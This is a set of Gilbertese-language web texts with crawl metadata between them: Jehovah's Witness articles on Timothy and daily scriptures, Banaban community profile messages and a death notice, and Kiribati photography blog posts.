tiaki mairouia atua aika beekan, ma e boni koaua ao ni kamimi. N te katoto, a bon ongora ma te ingainga ao te kimwareirei irouni Bauro ao Barenaba te I-Iutaia ae Eunike ae buun te I-Kuriiti * ae aki onimaki, ma tinan neiei ae Roiti. Bon aio te rongorongo are a a kamani kan ongoraeakinna I-Iutaia aika kakaonimaki, ae taekan te Mesia are e a tia n roko ao ni kakoroi bukin taetae ni burabeti aika bati ake a koreaki ibukina n te Koroboki ae Tabu!\nIangoa aron rotakin Timoteo n rokoni Bauro aei. E a kaman reireiaki Timoteo \"mangke te merimeri\" bwa e na tangira kanoan te Koroboki ae Tabu n te Taetae n Ebera. (2 Timoteo 3:15) E ataia naba Timoteo n aron tinana ao tibuna, ae Bauro ao Barenaba a bon taekina te koaua ibukin te Mesia. Ao e iangoa naba te mwaane ae mwauku are e kamarurungnga Bauro. Mangke te roro n rikirake Timoteo ao e bon nonora te mwaane anne i rarikini kawai i Rutetera. Ma ngkai e a tibwa nora te mwaane aei Timoteo n nakonako! Maroaka are a bon riki iai bwa Kristian Eunike ao Roiti, ao ai Timoteo. Ni boong aikai, a kona tiibu ao kaaro ni karekea reireiaia ae bati mairoun Roiti ao Eunike. Ko kona ni kairiia rooro n rikirake nakoni karaoan ae raoiroi?\n\"RINANON RAWAWATA AIKA BATI\"\nA bon riai ni kimwareirei taan rimwini Kristo i Rutetera n reiakinan te kantaninga are katauraoaki ibukia taan rimwini Kristo. A a ataia naba ae e na iai te bwai ae na riki nakoia ngkana a riki bwa taan rimwini Kristo. A a roko n te kaawa aei mai Ikonio ao Antioka I-Iutaia aika baba n aia Aro, ao a kaunia aomata bwa a na kaaitaraia Bauro ma Barenaba. E aki maan imwina, a a roko te koraki aika iowawa n rimwini Bauro ao ni karebanaia n atibu. E boni bwaka i aontano Bauro imwini karebanaakina. A a uaakinna taan iowawa nako tinanikun te kaawa ao a kitanna ikanne bwa e na mate.—Mwakuri 14:19.\nMa a otinako ni kawara Bauro taan rimwini Kristo aika kaain Rutetera ao a otabwaninia. Ai boni bebetera nanoia ngke e a kakammwakuri, e teirake ao imwina e a manga okira Rutetera ma te ninikoria! N te bong are imwina ao a a nakon te kaawa ae Terebe ngaia ma Barenaba n reitaanako aia uarongorongo iai. Imwini karekeaia taan rimwini Kristo aika boou ikanne, a a manga okira Rutetera ma te ninikoria. Tera bukina? Ti tuangaki n te rongorongo bwa a na \"kakorakorai nanoia taan rimwin Iesu, ma ni kaungaia bwa a na teimatoa n onimaki.\" Iangoa te roro n rikirake ae Timoteo ngke a toka matana n ongora irouni Bauro ma Barenaba ngke a reiakinia Kristian akanne bwa karawawataaia ni boong aikai, e materaoi ibukini karekean aia kantaninga ae kakannato n taai aika a na roko. A taku: \"E riai bwa ti na rinanon rawawata aika bati ngkana ti na rin n ana tautaeka n uea te Atua.\"—Mwakuri 14:20-22.\nE a tia Timoteo n nora Bauro ni maiuakin taeka akanne, n arona n ninikoria n rinanon te rawawata bwa e aonga tibwaa te rongorongo ae raoiroi nakoia aomata. Ngaia are e ataia Timoteo bwa ngkana e kakairi n ana katoto Bauro, e na boni kaitaraaki irouia kaain Rutetera ao iroun naba tamana. Ma e aki kariaia iango akanne Timoteo bwa e na rotakibuaka iai ana babaire ibukin ana beku iroun te Atua. Ni boong aikai, a bati rooro n rikirake aika ai aron Timoteo. A wanawana n rineia raoraoia aika korakora aia onimaki ake a na kaungaia ao ni kakorakoraia. A a aki kariaia kaitaraakia bwa a na katannakoaki iai man aia beku ibukin te Atua!\n\"E TAETAEKINAKI TIMOTEO BWA E RAOIROI IROUIA TAARI\"\nN aron are moan taekinaki, e a manga roko Bauro tao uoua ke tenua te ririki imwina. Kataamneia ingaingan nanoia kaain ana auti Timoteo n rokoni Bauro aei ao raona Tira. Bon te tai ae rangi ni kakukurei naba irouni Bauro. E kona n nora te bwai are riki imwin unikani koraan te koaua i Rutetera. A mena imwaina Roiti ao natina ae Eunike ake a riki bwa Kristian aika kakaonimaki ni koaua ae mena i nanoia 'te onimaki ae aki mwamwanaa te aba' are e rotaki iai Bauro. (2 Timoteo 1:5) Ma tera aron te roro n rikirake ae Timoteo?\nE ataia Bauro bwa e a ikawai Timoteo n te onimaki man te tai are e moan roko iai. E \"taetaekinaki Timoteo bwa e raoiroi irouia taari,\" tiaki tii i Rutetera ma i Ikonio naba ae tao 32 te kiromita raroana nako meangimainiku. (Mwakuri 16:2) E kangaa ni karekea taekana aei?\nE reireiaki Timoteo \"mangke te merimeri\" iroun tinana ao tibuna n te \"koroboki ae tabu\" ae kanoana te reirei ni kairiri ae manena ao n uaana ibukia rooro n rikirake. (2 Timoteo 3:15) N aron aei: \"Ko na ururinga naba te tia Karaoiko n am bong n ataei.\" (Te Minita 12:1, BG) A rangi n nano taeka akanne iroun Timoteo imwin rikina bwa te Kristian. E ataia bwa te anga ae tamaroa ae e na ururinga iai ana tia Karikiriki, boni man tataekinan te rongorongo ae raoiroi ibukin Natin te Atua ae te Kristo. E a reiakina arona Timoteo teutana imwin teutana ni katoka te mamaamaa are e a tutukaki iai, ao e a reiakina naba arona n ninikoria n tataekina te rongorongo ae raoiroi ibukin Iesu Kristo nakoia aomata.\nA nora rikiraken Timoteo mwaane ake a kairiri n taian ekaretia. Akea te nanououa bwa e bon anaaki nanoia n noran teuaei ni karikirakeia ao ni kaungaia aomata nako. Ma ae kakawaki riki, e bon noraki rikirakena iroun Iehova. A a kairaki korean taetae ni burabeti tabeua ibukin teuaei iroun te Atua, ake tao a irekereke ma te beku are e na karaoia n te tai teuana ibukia ekaretia aika bati. N rokoni Bauro ao e a noria bwa e na rangi n ibuobuoki Timoteo ngkana e raonna ni mwamwanangana ni mitinare. Anne naba aia iango taari ake i Rutetera. A a kaaki baia i aon te teuaei ae te aro ae kaotia bwa e a anganaki te mwioko ae okoro ibukin Iehova ae te Atua.—1 Timoteo 1:18; 4:14.\nTi kona n iangoia bwa e boni mimi Timoteo ao e nanorinano ni korakoran onimakinana ao mwiokoana aei. E a tauraoi ni mwananga. * Tera ngkanne aron taman Timoteo are e aki onimaki ni mwiokoan natina bwa te minita ae te Kristian ae mwamwananga? E bae ni kaokoro baike e iangoi ibukin natina n taai aika i mwaina. Ma tera aron tinan ao tibun Timoteo? E koaua bwa e korakora kakatongaia ao ni kataia naba ni karabaa tabeaiangaia ibukina? Anne bon te bwai ae e na riki.\nMa e kakoauaaki bwa e boni mwananga nako Timoteo. N te ingabong are kabwarabwaraaki ni moan te kaongora aei, e a motikia Timoteo bwa e nangi mwamwananga ma te abotoro Bauro. Mwakaikain atibu ake i aan ana kauniwae n ikotaki ma rongoaan uteute ake e toutoui ngke e a kitana Rutetera, e a kaotia nakoina bwa e nang nako nakon te tabo ae aki ataia ae raroanako ma mwengana. Imwin te nakonako ni kabongnga ao a a roko i Ikonio mwaane aika teniman aikai. E a matakuakina ngkai Timoteo aroia Bauro ma Tira n taekini kaetieti aika boou ake mairoun te rabwata n unimwaane i Ierutarem, ao ni karikirakea aia onimaki taari ake i Ikonio. (Mwakuri 16:4, 5) Ma anne bon te moani mwaneka.\nImwini kawaran ekaretia ake i Karatia, a manga kitana kawain Rom ae raababa ao ni matoatoa mitinare aikai ao n nakonako bubua ma bubua te maire rinanon taabo aika aoraoi i Berukia ni kaineta meang ao imwina maeao. A a mwananga nako Teroa ni kairakia n te taamnei ae raoiroi ao a tokara te kaibuke ikanne ao ni borau nako Maketonia. (Mwakuri 16:6-12) Anne te tai are e a ataia iai Bauro bwa e rangi n ibuobuoki Timoteo. E a kona ngkai Bauro ni katuka Timoteo i Beroia ma Tira. (Mwakuri 17:14) E boni kanakoa naba te rorobuaka aei n tii ngaia nako Tetaronike. Ikanne are e a maiuakini iai katoto ake e aki toki Timoteo ni matakuakini, ao e a kakorakoraia Kristian aika kakaonimaki ikanne.—1 I-Tetaronike 3:1-3.\nE a korea ae kangai Bauro ibukin Timoteo: \"Akea riki temanna irou ae titeboo aroarona ma ngaia, ae e na tabeakin raoi aromi.\" (I-Biribi 2:20) E aki kona ni manennanti n reke atongam ae aron anne. E reke aei iroun Timoteo man ana mwakuri korakora, ana beku ma te nanorinano, ao kakaonimakina i aani kataaki aika kangaanga. Ai tamaroara te katoto aei nakoia roro n rikirake ni boong aikai! Tai mwaninga bwa e kona n reke atongam ae raoiroi boni mairoum. Ngkana te roro n rikirake ngkoe, e bati am tai ae ko kona iai ni karekea aram ae raoiroi n arom ni moanibwaia Iehova ae te Atua ni maium ao ni bwaina te akoi ao te karinerine nakoia aomata.\n\"KO NA KAWAEKOAKO N NAKOMAI NAKOIU\"\nI nanon te maan ae 14 te ririki, e a kabanea ana tai ae bati Timoteo ni mwakuri ma raoraona ae te abotoro Bauro. E bon rotaki naba ni kangaanga ake a kaitiboo ma ngaai Bauro n ana mwakuri ao e rotaki naba ni kimwareireina aika bati. (2 I-Korinto 11:24-27) N te tai teuana, e boni kabureaki naba Timoteo ibukin ana onimaki. (Ebera 13:23) E rotaki naba n ana tangira ni koaua Bauro ibukia tarina ma mwaanena n te onimaki ao n tabeakinaia. Ngaia are e a koroboki Bauro nakoina ni kangai: \"I uringa rannimatam.\" (2 Timoteo 1:4) N aroni Bauro, e taraa n ae e a tia Timoteo n reiakina arona n 'tang ma aomata aika tang,' n uataboa rawawataia bwa e aonga ni kaungaia ao ni kabebeteia. (I-Rom 12:15) Ti bia karaoa ae aron anne!\nE aki kamimi bwa i nanon tabeua te tai, e a riki Timoteo bwa te Kristian ae te mataniwi ae rianako arona. E mwiokoia Bauro tiaki tii ibukini kawaraia ekaretia ibukini kakorakoraaia ao kaungaaia, ma e mwiokoia naba bwa e na rineia mwaane aika tau bwa a na riki bwa unimwaane n te ekaretia ao tabonibai.—1 Timoteo 5:22.\nE rangi n tatangiraki Timoteo irouni Bauro n arona n anganna te reirei ni kairiri ae ibuobuoki ao te taeka n reirei n aron ae e kakaraoia te tama. E kaumaka Timoteo bwa e na kawakini bwaintangira ake mairoun te Atua ao e na teimatoa ni kaotiota rikirakena. (1 Timoteo 4:15, 16) E kaunga naba Timoteo bwa e na aki kariaia arona n roro n rikirake ao tao bwaai tabeua aika karika aki onimakinana i bon irouna, bwa a na totokoia man teina ibukin te bwai ae eti ngkana e bon riai. (1 Timoteo 1:3; 4:6, 7, 11, 12) E anganna naba Bauro te taeka n reirei ibukin arona n totokoi aoraki ake e ituaki iai ae tao aorakini birotona ae okioki.—1 Timoteo 5:23.\nE a ataia ngkai Bauro bwa e a kaan tokini maiuna, ae kamateana ibukini katuuaaeana. E a kanakoa ana kabanea n reta ae kairaki koreana nakon Timoteo. E irekereke iai taeka aika a ringa te nano ae kangai: \"Ko na kawaekoako n nakomai nakoiu n aki waeremwe.\" (2 Timoteo 4:9) E rangi n tatangiraki Timoteo irouni Bauro ngke e atongnga bwa 'natina ae tangiraki irouna ae kakaonimaki n ana mwakuri te Uea.' (1 I-Korinto 4:17) Maroaka are e tangira raoraona bwa e na mena i rarikina ngkai e a kaan tokini maiuna! Ti kona n titirakinira ni kangai: 'A kakawarai aomata ibukini kabebeteaia ngkana a kaaitara ma te kangaanga?'\nE koaua bwa e roko Timoteo irouni Bauro n te tai ae kainnanoia iai? Ti aki ataia. Ma ti ataia bwa e kakorakoraa n taai nako ni buoka Bauro ao tabeman riki ni kabebeteia ao ni kaungaia. E boni maiuakina nanon arana Timoteo ae kangai: \"Te Aomata ae Karinea te Atua.\" Ao e katuka te banna ni katoto ae rianako ibukin te onimaki ibukira ni kabane, ngaira aika roro n rikirake ao kaara bwa ti na kakairi iai.\n^ bar. 9 Nora te bwaoki ae \"Ko Ataia?\" n te kaongora aei.\n^ bar. 20 E kariaia naba korotobibiana Timoteo i aan ana bubutii Bauro, tiaki ibukina bwa te bwai ae katauaki ibukia Kristian, ma ibukina bwa e rawa Bauro bwa e na reke aonaia I-Iutaia ake a na uarongorongo nakoia n rawa n ongora ngkana a nora te rorobuaka aei ae tiaki te I-Iutaia tamana.—Mwakuri 16:3.","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20151101\/timoteo-bon-te-katoto-man-te-baibara\/","date":"2018-06-22T03:16:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864343.37\/warc\/CC-MAIN-20180622030142-20180622050142-00146.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2498,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aki rangi ni kororo bain Iehova n te aro ae e aki kona ni kakamaiu.—It 59:1.\nNgke a a tibwa kainaomataaki tibun Iteraera n te kakai man tautoronakia i Aikubita, a a buakanaki naba irouia tibun Amareka. E ongeaba Iotua n ana kairiri Mote ao e ninikoria ni kairiia tibun Iteraera nakon te buaka. N te tai anne ao Mote e kaira Aaron ma Uura nakon te maunga ae uarereke ae uakaan, are a kona n nora iai te marae ni buaka. E mwakuria kanoan te babaire Mote are e a karekea tokanikaia. E teimatoa Mote n tabekirake baina ma ana oko te Atua ae koaua. Ngkana e teimatoa ni karaoa anne Mote, ao Iehova e kakorakoraia tibun Iteraera ao a a taenikai tibun Amareka. Ma ngkana a kakaii baini Mote ao e kabwakai, ao a a taua aon te buaka tibun Amareka. A kawaekoaia Aaron ma Uura n \"anaa te atibu bwa e na tekateka i aona [Mote], ao a nangoi baina Aaron ma Uura, temanna n iterana teuana ao are temanna n iterana are teuana, n te aro are a a teimatoa n tei baina ni karokoa bungin taai.\" Eng, a tokanikai tibun Iteraera mani bain te Atua ae korakora.—TO 17:8-13. w16.09 1:5-7\nNgkana I kani karaoa ae raoiroi, ao e memena irou te buakaka.—Ro 7:21.\nE kakoauaa raoi Bauro bwa e kona n tokanikai n te buaka ane i nanona anne rinanon te tataro, onimakinan Iehova, ao onimakinan ana karea ni kaboomwi Iesu. Ma tera arora? Ti kona n tokanikai naba i aoni mamaaran rabwatara ngkai ti kabokorakora ma ngaia. N te aro raa? Ngkana ti katotonga Bauro n onimakina raoi Iehova ao tiaki oini korakorara, ao n onimakina naba te kaboomwi. N tabetai, e kona ni kariaia te Atua bwa ti na kaota korakoran tabeaiangara n te bwai teuana. N te katoto, tera ae ti na karaoia ngkana ti (ke kaain ara utu temanna) taonaki n te aoraki ae kakaiaki ke mwakuri n ribuaka tabeua? Ti na kaota onimakinan raoi Iehova rinanon te onnon nakoina n te tataro bwa e na anganira te korakora ae ti na teimatoa iai ni kakaonimaki, ao n aki kabuaa kukureira ao ara iraorao ae kaan ma ngaia. (Brb 4:13) E kaotaki n aia katoto Kristian aika bati n ana bong Bauro ao n ara bong aikai bwa e kona ni kakorakoraira te tataro ao n anganira te ninikoria ae ti kainnanoia bwa ti aonga n teimatoa n nanomwaaka. w16.09 2:14, 15\nA a ngurengure I-Iutaia ake a taetae ni Kuriiti, nakoia I-Iutaia ake a taetae n Ebera.—Mwa 6:1.\nMa ngke e a ririkirake te ekaretia ni Kristian rimoa ao e a riki te kangaanga teuana are e taraa n irekereke ma te kakaokoroaki. A ngurengure I-Iutaia ake a taetae ni Kuriiti bwa e aki karaoaki ae riai nakoia aia aine ake a a tia ni mate buuia. Ibukin raoiakinan te kangaanga aei, a a rineaki irouia abotoro mwaane aika itiman ake a na taraia raoi bwa e na karaoaki ae riai nakoia aomata ni kabane. Iai araia ni Kuriiti mwaane ake a rineaki, ao e taraa n otara iai ae a tangiria abotoro bwa a na kukurei riki iai aine ake a a tia ni mate buuia. (Mwa 6:2-6) E ngae ngkana ti ataia ke ti aki, ma e korakora kaririakira n ara katei. (Ro 12:2) Irarikin anne, ti bae n ongongo mairouia kaain rarikira, raora ni mwakuri, ke raora n reirei, taeka ni kamatauninga ibukia ake a kakaokoro abaia, aia reeti, ke kunia. Tera aroni korakoran rotakira n aeka n iango aika bubuaka aikai? Ao tera ara namakin ngkana e bwainingareira temanna ibukin abara ke e karakarakai ara katei tabeua? w16.10 1:7, 8","id":"","dump":"CC-MAIN-2018-26","url":"https:\/\/wol.jw.org\/gil\/wol\/h\/r178\/lp-gb","date":"2018-06-19T17:45:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863109.60\/warc\/CC-MAIN-20180619173519-20180619193519-00638.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":603,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"teunaine an tai raraoma ba ia bon ongotaeka....ahahaha!!!!!dont wori just make sure to send my regards to tetei te mane are i nz!!!!hey r u cuming this dec????hey bring some more makeup stuffs and some big earings......plizzzzz!!!ti ane te request mai ikai thanz very muj bye bye ....tak gud kea n god bless....\nMauri Fay! Ko uara, wen did u leave imwin te mate arei? We left early Sunday morning to Suva. Eaki naba reke ara tai ni kibe n am luggage.....sh, ngke kai a reke ara bai, deas always next time. Ko ataioka naba kanakomaia am Australian curry recipe ba ngaia e oro ma tina burakewe iai n tain te 15th i Rabi.....hehehehe.\nHope all is well, take care!\nTia boo moa\nKo mena ia ngkai? I ragi ni kan rereitaki nakoati ma te kanganga te connection. Ngkana ko tuai okira Rabi ao ai bon arora naba ngkai. N te tai aei ao I mena ngkai i Peru, S\/America... aaahhahah.\nI a manga ongongoraa rongorongon am tabo anne ao ngkana a reke kain Stream Valley iroum ao koa manga katanimaia. Au email address firstname.lastname@example.org ngkana ko kan rereitaki nakoiu n am tai ane e mwaawa.\nhey nisa bula kaka hous te tuku ikanne...................mehn ko maiu ae................euara ea reke kaka temane ke tuai ao ea reke tibum temane ae au match.........e tau iamaga ogogo iroum ao e tekeraoi moa te bong ae............tofa","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/banabanvoice.ning.com\/profile\/lesbysjackmorgan","date":"2018-07-20T02:44:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676591481.75\/warc\/CC-MAIN-20180720022026-20180720042026-00427.warc.gz","language":"gil","language_score":0.9920454621,"language_script":"Latn","minhash_cluster_size":32,"top_langs":"{\"gil_Latn_score\": 0.9920454621315002}","num_words":232,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.271,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nA tia ni weteaki man te maiu aio: Niki Ben, Nei Seata Tumairang ao Nei Tekinoa Ioaba. Niki e kabaea roroana, Nei Seata e ituaki n te breast cancer ao Nei Tekinoa e bon marurung ao ngke e amarake ma tibuna ao ea buburake naba ao ea moti naba ikena ngke bong.\nViews: 42\nComment","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/taian-mate-i-rambi","date":"2018-07-19T13:36:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676590901.10\/warc\/CC-MAIN-20180719125339-20180719145339-00128.warc.gz","language":"gil","language_score":0.9999049902,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 0.999904990196228}","num_words":62,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.242,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Don't be mistaken thinking that this photograph was taken outside Kiribati. One reason why we might be mistaken is because we have used to only seeing these kinds of scenes (photos) from other places! With that in mind, we then think that such pretty spots are hardly found around our islands 🙂 The truth? Kiribati … Continue reading Beautiful Grass\nCan you identify where this photo was taken? Exactly - the main road that goes around the very end of Bonriki International Airstrip. Well, but to which side? Yes the one resting at the lagoon or west side and it runs along the edge of the shoreline. One special thing about this spot is that … Continue reading Tip Of Airstrip\nTi a bita moa ngkai ara scene man te Landscape nakon te Sunset. Te sunset bon teuana te scene ae rangi ni kan nonoraki iroura ni kabane. Eng, e bon tatangiraki ao mani kakukurei tarakin tamnein te sunset - riki taian kara ake e tatao iai te uraura ke te orange. Ko ongongo aia anene … Continue reading Golden Hour\nN te tai aio ao ti a manga wairio nako Betio n noria bwa tera au tamnei are e na kona n reke n te tai aei. E rio aio bwa e angaraoi ma kawaiu nakon te KIT bwa N na kabaea aran au ataei temanna n te Automotive Intake 2018. I roko i Betio … Continue reading KPA From Distance\nI rawea te tamnei aei inanon teuana te nei ake i akuun te aobiti are e tararua te Eco Farm are n te Ananau Causeway imarenan Bikenibeu ma Bonriki Internationa Airport. Te bong bon Moanibong 4 bongin Tebetembwa te ririki aio. Iai te uatiman are e tataruai neei akanne aingaia are e tamaroa bwa e … Continue reading Dried Pond\nN te tai aio ao ti a neweabaa ngkanne tanraken Temwaiku - te tabo are uakaan ma te auti are te boratentao (kanga a nang akea rabwatana n noraki n taai aikai). Oin au kantaninga n te tai aio bon rawean tamnein Bonriki International Airport ma iai te angabuaka aingaia are I a toua te … Continue reading Temwaiku Ocean Side\nTao mwiin 5am ao I aki tabwara ma I ana au camera ma au tripod ao man ruo nakon te kaa. A tuai uti kaain batau bwa are e tuai rangi n ota aingaia are I a bonako naba. N rokou n te main road ao e tara n tuai tabetabe nanon te kawai bwa … Continue reading Ponds at Fish Farm","id":"","dump":"CC-MAIN-2018-30","url":"https:\/\/aerophotoblog.com\/page\/4\/","date":"2018-07-17T07:20:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589618.52\/warc\/CC-MAIN-20180717070721-20180717090721-00066.warc.gz","language":"gil","language_score":0.9990947247,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9990947246551514}","num_words":412,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.272,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te tongo bon arokara ae moan te kakawaki ibukin totokoan kanakin mataniwiin abara. Riki inanon ririki aikai ngkai e noraki korakoran ana urubwai iabuntin taari - are e taekinaki bwa kanoan ana waaki climate change. E rangi ni mwaiti kurikuri te tongo n te tabo aio ma I rinea aio kioina bwa e onoti ao … Continue reading Mangrove Tree\n'Have A Job' actually talks about why these rocks are placed at this particular site. What if the rocks fall or are washed away by the waves? Our road (newly built) will be gone! It's Temwaiku again but this time on the ocean side of the Taiwan Technical Mission camp. For a change, I turned … Continue reading Have A Job","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/aerophotoblog.com\/tag\/sea\/","date":"2018-08-16T02:04:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210408.15\/warc\/CC-MAIN-20180816015316-20180816035316-00222.warc.gz","language":"gil","language_score":0.9949233532,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9949233531951904}","num_words":118,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.212,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ai bon akea ana bwai Iobi, e karawawataaki, e ituaki n te aoraki ae kakaiaki ma e teimatoa ni kakaonimaki. Ngaia are e a kataia Tatan ni kabongana te bwarannano n urua iai etin arona. A roko 'raoraona' aika teniman. N te moantai a karaoi mwakuri ake a noraki irouia aomata bwa a kaota iai nanoangaana. Imwina, a tekateka n aki kakarongoa i rarikin Iobi i nanon itiua te bong, n akea aia taeka ni karaunano nakoina. Ma aia taetaenikawai ake imwina bon taiani bukibuki ao kabuakaka aika kammaraki.\nE kateimatoa etin arona Iobi nakon Iehova n aki ongea te kataaki ae korakora\nE korakora karawawataan Iobi n te aro are e a rio i nanona te iango ae kairua. E taetae n te aro ae aki riai n taekinna bwa e aki tabe te Atua bwa e teimatoa ni kakaonimaki ke e aki\nIbukina bwa e rotaki Iobi n te bwarannano, e aki iangoi baike a kona ni karikii riki rawawatana\nE ngae ngke e taonakinako n te nanokawaki Iobi ma e bon teimatoa n taekina tangiran Iehova nakoia taani bukinna","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/maati-2016-mwb\/kaetieti-n-te-botaki-maati21-27\/kangaanga-iobi-baibara-karawawataaki\/","date":"2018-08-21T05:01:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221217951.76\/warc\/CC-MAIN-20180821034002-20180821054002-00509.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":182,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.203,"stopwords_ratio":0.451,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"'Together We're Strong' e bon taekina aia mwakuri atiibu aikai ni totokoa kanakin te aba ao riki ana urubwai taari nakon te kawai are e boou man tamaroa. Te kantaninga bwa ko ata te tabo aio iaon Tarawa.\nTera am noonori? Taekina ti 'aki nakoraoina' n te aro are e na tamaroa are i mwiina.\nKo rabwa, ao ti a manga taninga ara next photograph!","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/aerophotoblog.com\/2017\/11\/09\/together-were-strong\/","date":"2018-08-16T02:06:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210408.15\/warc\/CC-MAIN-20180816015316-20180816035316-00598.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.354,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aki rangi ni bebete ke ni baiti rawean tamnein te spider aio. E rangi n angabuaka bwa e mena n te tiiring (ceiling) are nanona bwa e botararake n nim ma te tiiring. Te tairiki bwa tao mwiin 9 pm ao ti ootan te taura te iti n roko iai. I tei ngkanne i … Continue reading Spider (Takareau)","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/aerophotoblog.com\/tag\/spider\/","date":"2018-08-16T02:05:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221210408.15\/warc\/CC-MAIN-20180816015316-20180816035316-00620.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":58,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MATAKU N TE TAAMNEI AE E AKI MWANUOKINA AM TANGIRA IEHOVA, AO IMWINA KAEKAI TITIRAKI AIKAI:\nBaikara kangaanga aika irian te kara?\nTera te aroaro ae raoiroi ae irian te kara?\nTera ana iango Iehova ni karakon aia mwakuri ni minita ana toro aika kara?\nTera ae e tangiria Iehova bwa ti na karaoia e ngae ngke ti a kara?\nA na kangaa kaara ni kaungaia aika ataei riki?\nE kangaa ni kaungako te tari temanna ae e a kara, n taai aika tibwa nako?","id":"","dump":"CC-MAIN-2018-34","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/mei-2017-mwb\/kaetieti-n-te-botaki-mei15-21\/e-aki-mwanuokina-am-tangira-iehova\/","date":"2018-08-17T03:43:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221211664.49\/warc\/CC-MAIN-20180817025907-20180817045907-00472.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":85,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.471,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI) October 2016\nIai n te maekatin aei kaongora ibukin te reirei ibukin Nobembwa 28 nakon Ritembwa 25, 2016.\nRONGORONGONI MAIUNA\nTe kaungaunga mairouia Kristian aika ikawai e kona ni buokiia tabemwaang ni katei tiaia aika manena ao ni karokoia iai. E taekina aroia tabeman Thomas McLain ni katei katoto aika raraoi ibukina, ao arona n nanomwaaka ni manga kakorakoraa ni buokiia tabemwaang.\nTera ana iango te Atua ibukia iruwa? Tera ae ko kona ni karaoia ni buoka ane e roko mai abatera bwa e na namakinna ae e butimwaeaki raoi n am ekaretia?\nE riai ni moanibwaiaki irouia Kristian ni kabane kawakinan aia onimaki ma aia onimaki aia utu. Ma ngkana ko mwakuri n te tabo ae ianena, ko na rinanoni kangaanga aika kaokoro.\nTera kaokoron te wanawana ae manena ma te 